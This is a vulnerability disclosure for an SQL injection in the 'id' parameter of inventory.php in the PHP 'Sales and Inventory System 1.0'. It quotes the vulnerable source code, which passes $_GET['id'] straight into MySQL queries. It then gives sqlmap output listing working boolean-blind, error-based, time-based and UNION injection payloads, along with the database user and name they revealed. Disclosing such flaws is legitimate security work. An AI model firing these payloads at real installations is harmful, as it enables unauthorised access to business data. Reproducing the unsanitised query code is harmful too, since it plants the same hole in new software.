Sales-and-Inventory-System

This is an advanced Sales and Inventory System programmed using PHP.

Exploit Title：Sales and Inventory System 1.0 —— 'id' SQL Injection vulnerability
Vendor Homepage:https://www.sourcecodester.com/php/11272/sales-and-inventory-system-credit-management.html
Software Link:https://www.sourcecodester.com/download-code?nid=11272&title=Sales+and+Inventory+System+with+Credit+Management+using+PHP+Full+Source+Code

Vulnerability Type：
SQL Injection
Vulnerability Version ：
V 1.0
Recurring environment：
Windows 10
Vulnerability Description AND recurrence:
The vulnerability is in the \ahira\admin\inventory.php file

```php
<?php include 'header.php';

$branch_id = $_GET['id'];
?>
<body class="nav-md">
  <div class="container body">
    <div class="main_container">
      <?php include 'main_sidebar.php';?>

      <!-- top navigation -->
      <?php include 'top_nav.php';?>      <!-- /top navigation -->

      <!-- page content -->
      <div class="right_col" role="main">
    <div class="row">
      <div class="col-md-12 col-sm-12 col-xs-12">
          <div class = "x-panel">
<?php
    $branch=$_GET['id'];
    $query=mysqli_query($con,"select * from branch where branch_id='$branch'")or die(mysqli_error());
    $row=mysqli_fetch_array($query);

?>
                <h5><b><?php echo $row['branch_name'];?></b> </h5>
                <h6>Address: <?php echo $row['branch_address'];?></h6>
                <h6>Contact #: <?php echo $row['branch_contact'];?></h6>
        <h5><b>Product Inventory as of today, <?php echo date("M d, Y h:i a");?></b></h5>

        <a class = "btn btn-success btn-print" href = "" onclick = "window.print()"><i class ="glyphicon glyphicon-print"></i> Print</a>
          <a class = "btn btn-primary btn-print" href = "home.php"><i class ="glyphicon glyphicon-arrow-left"></i> Back to Homepage</a>

            <table class="table table-bordered table-striped">
              <thead>

                <tr>

                  <th>Product Name</th>
                  <th>Qty Left</th>

                  <th>Price</th>
                  <th>Total</th>
                  <th>Reorder</th>

                </tr>
              </thead>
                <tbody>
              <?php
                $branch=$_GET['id'];
                $query=mysqli_query($con,"select * from product where branch_id='$branch' order by prod_name")or die(mysqli_error());
                $grand=0;
                while($row=mysqli_fetch_array($query)){
                  $total=$row['prod_price']*$row['prod_qty'];
                  $grand+=$total;
```

use SQLMAP

```
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 63 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 1092=1092-- nIIn

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' OR (SELECT 1138 FROM(SELECT COUNT(*),CONCAT(0x716b716b71,(SELECT (ELT(1138=1138,1))),0x7171716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- iqOz

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2096 FROM (SELECT(SLEEP(5)))FRjc)-- GIQT

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=-7219' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b716b71,0x51626d7a79564b6e74666f564b6b4b47676c4d674b506b4d6f6b69594870516a70506b4566565076,0x7171716271),NULL-- -
---
[13:35:27] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[13:35:27] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:35:27] [INFO] fetching current user
current user: 'root@localhost'
[13:35:27] [INFO] fetching current database
current database: 'inventory'
```